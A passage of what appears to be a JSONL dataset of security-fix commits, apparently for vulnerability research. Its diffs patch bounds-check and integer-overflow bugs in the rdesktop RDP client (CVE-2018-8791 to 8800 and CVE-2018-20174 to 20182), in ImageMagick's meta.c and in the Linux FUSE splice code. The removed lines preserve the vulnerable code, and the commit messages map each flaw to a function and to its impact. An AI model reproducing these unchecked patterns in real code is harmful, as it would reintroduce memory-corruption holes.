possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -118,6 +118,7 @@ cliprdr_process(STREAM s)\n \tuint16 type, status;\n \tuint32 length, format;\n \tuint8 *data;\n+\tstruct stream packet = *s;\n \n \tin_uint16_le(s, type);\n \tin_uint16_le(s, status);\n@@ -127,6 +128,11 @@ cliprdr_process(STREAM s)\n \tlogger(Clipboard, Debug, \"cliprdr_process(), type=%d, status=%d, length=%d\", type, status,\n \t length);\n \n+\tif (!s_check_rem(s, length))\n+\t{\n+\t\trdp_protocol_error(\"cliprdr_process(), consume of packet from stream would overrun\", &packet);\n+\t}\n+\n \tif (status == CLIPRDR_ERROR)\n \t{\n \t\tswitch (type)", "sections": [{"section": "@@ -118,6 +118,7 @@ cliprdr_process(STREAM s)\n \tuint16 type, status;\n \tuint32 length, format;\n \tuint8 *data;\n+\tstruct stream packet = *s;\n \n \tin_uint16_le(s, type);\n \tin_uint16_le(s, status);\n", "related": false}, {"section": "@@ -127,6 +128,11 @@ cliprdr_process(STREAM s)\n \tlogger(Clipboard, Debug, \"cliprdr_process(), type=%d, status=%d, length=%d\", type, status,\n \t length);\n \n+\tif (!s_check_rem(s, length))\n+\t{\n+\t\trdp_protocol_error(\"cliprdr_process(), consume of packet from stream would overrun\", &packet);\n+\t}\n+\n \tif (status == CLIPRDR_ERROR)\n \t{\n \t\tswitch (type)", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "seamless.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -168,6 +168,12 @@ seamless_process_line(const char *line, void *data)\n \n \t\t\ticon_buf[len] = strtol(byte, NULL, 16);\n \t\t\tlen++;\n+\n+\t\t\tif ((size_t)len >= sizeof(icon_buf))\n+\t\t\t{\n+\t\t\t\tlogger(Protocol, Warning, \"seamless_process_line(), icon data would overrun icon_buf\");\n+\t\t\t\tbreak;\n+\t\t\t}\n \t\t}\n \n \t\tui_seamless_seticon(id, tok5, width, height, chunk, icon_buf, len);\n@@ -370,6 +376,12 @@ seamless_process(STREAM s)\n {\n \tunsigned int pkglen;\n \tchar *buf;\n+\tstruct stream packet = *s;\n+\n+\tif (!s_check(s))\n+\t{\n+\t\trdp_protocol_error(\"seamless_process(), stream is in unstable state\", &packet);\n+\t}\n \n \tpkglen = s->end - s->p;\n \t/* str_handle_lines requires null terminated strings */", "sections": [{"section": "@@ -168,6 +168,12 @@ seamless_process_line(const char *line, void *data)\n \n \t\t\ticon_buf[len] = strtol(byte, NULL, 16);\n \t\t\tlen++;\n+\n+\t\t\tif ((size_t)len >= sizeof(icon_buf))\n+\t\t\t{\n+\t\t\t\tlogger(Protocol, Warning, \"seamless_process_line(), icon data would overrun icon_buf\");\n+\t\t\t\tbreak;\n+\t\t\t}\n \t\t}\n \n \t\tui_seamless_seticon(id, tok5, width, height, chunk, icon_buf, len);\n", "related": false}, {"section": "@@ -370,6 +376,12 @@ seamless_process(STREAM s)\n {\n \tunsigned int pkglen;\n \tchar *buf;\n+\tstruct stream packet = *s;\n+\n+\tif (!s_check(s))\n+\t{\n+\t\trdp_protocol_error(\"seamless_process(), stream is in unstable state\", &packet);\n+\t}\n \n \tpkglen = s->end - s->p;\n \t/* str_handle_lines requires null terminated strings */", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "mcs.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -45,9 +45,16 @@ mcs_out_domain_params(STREAM s, int max_channels, int max_users, int max_tokens,\n static RD_BOOL\n mcs_parse_domain_params(STREAM s)\n {\n-\tint length;\n+\tuint32 length;\n+\tstruct stream packet = *s;\n \n \tber_parse_header(s, MCS_TAG_DOMAIN_PARAMS, &length);\n+\n+\tif (!s_check_rem(s, length))\n+\t{\n+\t\trdp_protocol_error(\"mcs_parse_domain_params(), consume domain params from stream would overrun\", &packet);\n+\t}\n+\n \tin_uint8s(s, length);\n \n \treturn s_check(s);\n@@ -89,8 +96,9 @@ mcs_recv_connect_response(STREAM mcs_data)\n {\n \tUNUSED(mcs_data);\n \tuint8 result;\n-\tint length;\n+\tuint32 length;\n \tSTREAM s;\n+\tstruct stream packet;\n \tRD_BOOL is_fastpath;\n \tuint8 fastpath_hdr;\n \n@@ -99,6 +107,8 @@ mcs_recv_connect_response(STREAM mcs_data)\n \n \tif (s == NULL)\n \t\treturn False;\n+\t\n+\tpacket = *s;\n \n \tber_parse_header(s, MCS_CONNECT_RESPONSE, &length);\n \n@@ -112,6 +122,12 @@ mcs_recv_connect_response(STREAM mcs_data)\n \n \tber_parse_header(s, BER_TAG_INTEGER, &length);\n \tin_uint8s(s, length);\t/* connect id */\n+\n+\tif (!s_check_rem(s, length))\n+\t{\n+\t\trdp_protocol_error(\"mcs_recv_connect_response(), consume connect id from stream would overrun\", &packet);\n+\t}\n+\n \tmcs_parse_domain_params(s);\n \n \tber_parse_header(s, BER_TAG_OCTET_STRING, &length);", "sections": [{"section": "@@ -45,9 +45,16 @@ mcs_out_domain_params(STREAM s, int max_channels, int max_users, int max_tokens,\n static RD_BOOL\n mcs_parse_domain_params(STREAM s)\n {\n-\tint length;\n+\tuint32 length;\n+\tstruct stream packet = *s;\n \n \tber_parse_header(s, MCS_TAG_DOMAIN_PARAMS, &length);\n+\n+\tif (!s_check_rem(s, length))\n+\t{\n+\t\trdp_protocol_error(\"mcs_parse_domain_params(), consume domain params from stream would overrun\", &packet);\n+\t}\n+\n \tin_uint8s(s, length);\n \n \treturn s_check(s);\n", "related": false}, {"section": "@@ -89,8 +96,9 @@ mcs_recv_connect_response(STREAM mcs_data)\n {\n \tUNUSED(mcs_data);\n \tuint8 result;\n-\tint length;\n+\tuint32 length;\n \tSTREAM s;\n+\tstruct stream packet;\n \tRD_BOOL is_fastpath;\n \tuint8 fastpath_hdr;\n \n", "related": false}, {"section": "@@ -99,6 +107,8 @@ mcs_recv_connect_response(STREAM mcs_data)\n \n \tif (s == NULL)\n \t\treturn False;\n+\t\n+\tpacket = *s;\n \n \tber_parse_header(s, MCS_CONNECT_RESPONSE, &length);\n \n", "related": false}, {"section": "@@ -112,6 +122,12 @@ mcs_recv_connect_response(STREAM mcs_data)\n \n \tber_parse_header(s, BER_TAG_INTEGER, &length);\n \tin_uint8s(s, length);\t/* connect id */\n+\n+\tif (!s_check_rem(s, length))\n+\t{\n+\t\trdp_protocol_error(\"mcs_recv_connect_response(), consume connect id from stream would overrun\", &packet);\n+\t}\n+\n \tmcs_parse_domain_params(s);\n \n \tber_parse_header(s, BER_TAG_OCTET_STRING, &length);", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "asn.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -22,7 +22,7 @@\n \n /* Parse an ASN.1 BER header */\n RD_BOOL\n-ber_parse_header(STREAM s, int tagval, int *length)\n+ber_parse_header(STREAM s, int tagval, uint32 *length)\n {\n \tint tag, len;\n ", "sections": [{"section": "@@ -22,7 +22,7 @@\n \n /* Parse an ASN.1 BER header */\n RD_BOOL\n-ber_parse_header(STREAM s, int tagval, int *length)\n+ber_parse_header(STREAM s, int tagval, uint32 *length)\n {\n \tint tag, len;\n ", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "rdpdr.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -854,6 +854,7 @@ rdpdr_process(STREAM s)\n \tuint16 vmin;\n \tuint16 component;\n \tuint16 pakid;\n+\tstruct stream packet = *s;\n \n \tlogger(Protocol, Debug, \"rdpdr_process()\");\n \t/* hexdump(s->p, s->end - s->p); */\n@@ -873,8 +874,18 @@ rdpdr_process(STREAM s)\n \t\t\t\t/* DR_CORE_SERVER_ANNOUNCE_REQ */\n \t\t\t\tin_uint8s(s, 2);\t/* skip versionMajor */\n \t\t\t\tin_uint16_le(s, vmin);\t/* VersionMinor */\n+\n \t\t\t\tin_uint32_le(s, g_client_id);\t/* ClientID */\n \n+\t\t\t\t/* g_client_id is sent back to server,\n+\t\t\t\t so lets check that we actually got\n+\t\t\t\t valid data from stream to prevent\n+\t\t\t\t that we leak back data to server */\n+\t\t\t\tif (!s_check(s))\n+\t\t\t\t{\n+\t\t\t\t\trdp_protocol_error(\"rdpdr_process(), consume of g_client_id from stream did overrun\", &packet);\n+\t\t\t\t}\n+\n \t\t\t\t/* The RDP client is responsibility to provide a random client id\n \t\t\t\t if server version is < 12 */\n \t\t\t\tif (vmin < 0x000c)", "sections": [{"section": "@@ -854,6 +854,7 @@ rdpdr_process(STREAM s)\n \tuint16 vmin;\n \tuint16 component;\n \tuint16 pakid;\n+\tstruct stream packet = *s;\n \n \tlogger(Protocol, Debug, \"rdpdr_process()\");\n \t/* hexdump(s->p, s->end - s->p); */\n", "related": false}, {"section": "@@ -873,8 +874,18 @@ rdpdr_process(STREAM s)\n \t\t\t\t/* DR_CORE_SERVER_ANNOUNCE_REQ */\n \t\t\t\tin_uint8s(s, 2);\t/* skip versionMajor */\n \t\t\t\tin_uint16_le(s, vmin);\t/* VersionMinor */\n+\n \t\t\t\tin_uint32_le(s, g_client_id);\t/* ClientID */\n \n+\t\t\t\t/* g_client_id is sent back to server,\n+\t\t\t\t so lets check that we actually got\n+\t\t\t\t valid data from stream to prevent\n+\t\t\t\t that we leak back data to server */\n+\t\t\t\tif (!s_check(s))\n+\t\t\t\t{\n+\t\t\t\t\trdp_protocol_error(\"rdpdr_process(), consume of g_client_id from stream did overrun\", &packet);\n+\t\t\t\t}\n+\n \t\t\t\t/* The RDP client is responsibility to provide a random client id\n \t\t\t\t if server version is < 12 */\n \t\t\t\tif (vmin < 0x000c)", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "cssp.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -595,6 +595,7 @@ cssp_read_tsrequest(STREAM token, STREAM pubkey)\n \tSTREAM s;\n \tint length;\n \tint tagval;\n+\tstruct stream packet;\n \n \ts = tcp_recv(NULL, 4);\n \n@@ -622,6 +623,7 @@ cssp_read_tsrequest(STREAM token, STREAM pubkey)\n \n \t// receive the remainings of message\n \ts = tcp_recv(s, length);\n+\tpacket = *s;\n \n \t// parse the response and into nego token\n \tif (!ber_in_header(s, &tagval, &length) ||\n@@ -632,6 +634,12 @@ cssp_read_tsrequest(STREAM token, STREAM pubkey)\n \tif (!ber_in_header(s, &tagval, &length) ||\n \t tagval != (BER_TAG_CTXT_SPECIFIC | BER_TAG_CONSTRUCTED | 0))\n \t\treturn False;\n+\n+\tif (!s_check_rem(s, length))\n+\t{\n+\t\t rdp_protocol_error(\"cssp_read_tsrequest(), consume of version from stream would overrun\",\n+\t\t\t\t &packet);\n+\t}\n \tin_uint8s(s, length);\n \n \t// negoToken [1]\n@@ -653,7 +661,14 @@ cssp_read_tsrequest(STREAM token, STREAM pubkey)\n \t\tif (!ber_in_header(s, &tagval, &length) || tagval != BER_TAG_OCTET_STRING)\n \t\t\treturn False;\n \n-\t\ttoken->end = token->p = token->data;\n+\t\tif (!s_check_rem(s, length))\n+\t\t{\n+\t\t\trdp_protocol_error(\"cssp_read_tsrequest(), consume of token from stream would overrun\",\n+\t\t\t\t\t &packet);\n+\t\t}\n+\n+\t\ts_realloc(token, length);\n+\t\ts_reset(token);\n \t\tout_uint8p(token, s->p, length);\n \t\ts_mark_end(token);\n \t}", "sections": [{"section": "@@ -595,6 +595,7 @@ cssp_read_tsrequest(STREAM token, STREAM pubkey)\n \tSTREAM s;\n \tint length;\n \tint tagval;\n+\tstruct stream packet;\n \n \ts = tcp_recv(NULL, 4);\n \n", "related": false}, {"section": "@@ -622,6 +623,7 @@ cssp_read_tsrequest(STREAM token, STREAM pubkey)\n \n \t// receive the remainings of message\n \ts = tcp_recv(s, length);\n+\tpacket = *s;\n \n \t// parse the response and into nego token\n \tif (!ber_in_header(s, &tagval, &length) ||\n", "related": false}, {"section": "@@ -632,6 +634,12 @@ cssp_read_tsrequest(STREAM token, STREAM pubkey)\n \tif (!ber_in_header(s, &tagval, &length) ||\n \t tagval != (BER_TAG_CTXT_SPECIFIC | BER_TAG_CONSTRUCTED | 0))\n \t\treturn False;\n+\n+\tif (!s_check_rem(s, length))\n+\t{\n+\t\t rdp_protocol_error(\"cssp_read_tsrequest(), consume of version from stream would overrun\",\n+\t\t\t\t &packet);\n+\t}\n \tin_uint8s(s, length);\n \n \t// negoToken [1]\n", "related": false}, {"section": "@@ -653,7 +661,14 @@ cssp_read_tsrequest(STREAM token, STREAM pubkey)\n \t\tif (!ber_in_header(s, &tagval, &length) || tagval != BER_TAG_OCTET_STRING)\n \t\t\treturn False;\n \n-\t\ttoken->end = token->p = token->data;\n+\t\tif (!s_check_rem(s, length))\n+\t\t{\n+\t\t\trdp_protocol_error(\"cssp_read_tsrequest(), consume of token from stream would overrun\",\n+\t\t\t\t\t &packet);\n+\t\t}\n+\n+\t\ts_realloc(token, length);\n+\t\ts_reset(token);\n \t\tout_uint8p(token, s->p, length);\n \t\ts_mark_end(token);\n \t}", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "stream.h", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -54,7 +54,7 @@ size_t in_ansi_string(STREAM s, char *string, size_t len);\n #define s_pop_layer(s,h)\t(s)->p = (s)->h;\n #define s_mark_end(s)\t\t(s)->end = (s)->p;\n #define s_check(s)\t\t((s)->p <= (s)->end)\n-#define s_check_rem(s,n)\t((s)->p + n <= (s)->end)\n+#define s_check_rem(s,n) (s_check(s) && (n <= (s)->end - (s)->p))\n #define s_check_end(s)\t\t((s)->p == (s)->end)\n #define s_length(s)\t\t((s)->end - (s)->data)\n #define s_left(s) ((s)->size - ((s)->p - (s)->data))", "sections": [{"section": "@@ -54,7 +54,7 @@ size_t in_ansi_string(STREAM s, char *string, size_t len);\n #define s_pop_layer(s,h)\t(s)->p = (s)->h;\n #define s_mark_end(s)\t\t(s)->end = (s)->p;\n #define s_check(s)\t\t((s)->p <= (s)->end)\n-#define s_check_rem(s,n)\t((s)->p + n <= (s)->end)\n+#define s_check_rem(s,n) (s_check(s) && (n <= (s)->end - (s)->p))\n #define s_check_end(s)\t\t((s)->p == (s)->end)\n #define s_length(s)\t\t((s)->end - (s)->data)\n #define s_left(s) ((s)->size - ((s)->p - (s)->data))", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/meta.c", "commit_id": "cb1214c124e1bd61f7dd551b94a794864861592e", "commit_message": "...", "patch": "@@ -2204,7 +2204,7 @@ static int format8BIM(Image *ifile, Image *ofile)\n return -1;\n }\n /* make a buffer to hold the data and snag it from the input stream */\n- str=(unsigned char *) AcquireQuantumMemory((size_t) count,sizeof(*str));\n+ str=(unsigned char *) AcquireQuantumMemory((size_t) count+1,sizeof(*str));\n if (str == (unsigned char *) NULL)\n {\n PString=(unsigned char *) RelinquishMagickMemory(PString);", "sections": [{"section": "@@ -2204,7 +2204,7 @@ static int format8BIM(Image *ifile, Image *ofile)\n return -1;\n }\n /* make a buffer to hold the data and snag it from the input stream */\n- str=(unsigned char *) AcquireQuantumMemory((size_t) count,sizeof(*str));\n+ str=(unsigned char *) AcquireQuantumMemory((size_t) count+1,sizeof(*str));\n if (str == (unsigned char *) NULL)\n {\n PString=(unsigned char *) RelinquishMagickMemory(PString);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/fuse/dev.c", "commit_id": "6b3a707736301c2128ca85ce85fb13f60b5e350a", "commit_message": "Merge branch 'page-refs' (page ref overflow)\n\nMerge page ref overflow branch.\n\nJann Horn reported that he can overflow the page ref count with\nsufficient memory (and a filesystem that is intentionally extremely\nslow).\n\nAdmittedly it's not exactly easy. To have more than four billion\nreferences to a page requires a minimum of 32GB of kernel memory just\nfor the pointers to the pages, much less any metadata to keep track of\nthose pointers. Jann needed a total of 140GB of memory and a specially\ncrafted filesystem that leaves all reads pending (in order to not ever\nfree the page references and just keep adding more).\n\nStill, we have a fairly straightforward way to limit the two obvious\nuser-controllable sources of page references: direct-IO like page\nreferences gotten through get_user_pages(), and the splice pipe page\nduplication. So let's just do that.\n\n* branch page-refs:\n fs: prevent page refcount overflow in pipe_buf_get\n mm: prevent get_user_pages() from overflowing page refcount\n mm: add 'try_get_page()' helper function\n mm: make page ref count overflow check tighter and more explicit", "patch": "@@ -2056,10 +2056,8 @@ static ssize_t fuse_dev_splice_write(struct pipe_inode_info *pipe,\n \t\trem += pipe->bufs[(pipe->curbuf + idx) & (pipe->buffers - 1)].len;\n \n \tret = -EINVAL;\n-\tif (rem < len) {\n-\t\tpipe_unlock(pipe);\n-\t\tgoto out;\n-\t}\n+\tif (rem < len)\n+\t\tgoto out_free;\n \n \trem = len;\n \twhile (rem) {\n@@ -2077,7 +2075,9 @@ static ssize_t fuse_dev_splice_write(struct pipe_inode_info *pipe,\n \t\t\tpipe->curbuf = (pipe->curbuf + 1) & (pipe->buffers - 1);\n \t\t\tpipe->nrbufs--;\n \t\t} else {\n-\t\t\tpipe_buf_get(pipe, ibuf);\n+\t\t\tif (!pipe_buf_get(pipe, ibuf))\n+\t\t\t\tgoto out_free;\n+\n \t\t\t*obuf = *ibuf;\n \t\t\tobuf->flags &= ~PIPE_BUF_FLAG_GIFT;\n \t\t\tobuf->len = rem;\n@@ -2100,11 +2100,11 @@ static ssize_t fuse_dev_splice_write(struct pipe_inode_info *pipe,\n \tret = fuse_dev_do_write(fud, &cs, len);\n \n \tpipe_lock(pipe);\n+out_free:\n \tfor (idx = 0; idx < nbuf; idx++)\n \t\tpipe_buf_release(pipe, &bufs[idx]);\n \tpipe_unlock(pipe);\n \n-out:\n \tkvfree(bufs);\n \treturn ret;\n }", "sections": [{"section": "@@ -2056,10 +2056,8 @@ static ssize_t fuse_dev_splice_write(struct pipe_inode_info *pipe,\n \t\trem += pipe->bufs[(pipe->curbuf + idx) & (pipe->buffers - 1)].len;\n \n \tret = -EINVAL;\n-\tif (rem < len) {\n-\t\tpipe_unlock(pipe);\n-\t\tgoto out;\n-\t}\n+\tif (rem < len)\n+\t\tgoto out_free;\n \n \trem = len;\n \twhile (rem) {\n", "related": false}, {"section": "@@ -2077,7 +2075,9 @@ static ssize_t fuse_dev_splice_write(struct pipe_inode_info *pipe,\n \t\t\tpipe->curbuf = (pipe->curbuf + 1) & (pipe->buffers - 1);\n \t\t\tpipe->nrbufs--;\n \t\t} else {\n-\t\t\tpipe_buf_get(pipe, ibuf);\n+\t\t\tif (!pipe_buf_get(pipe, ibuf))\n+\t\t\t\tgoto out_free;\n+\n \t\t\t*obuf = *ibuf;\n \t\t\tobuf->flags &= 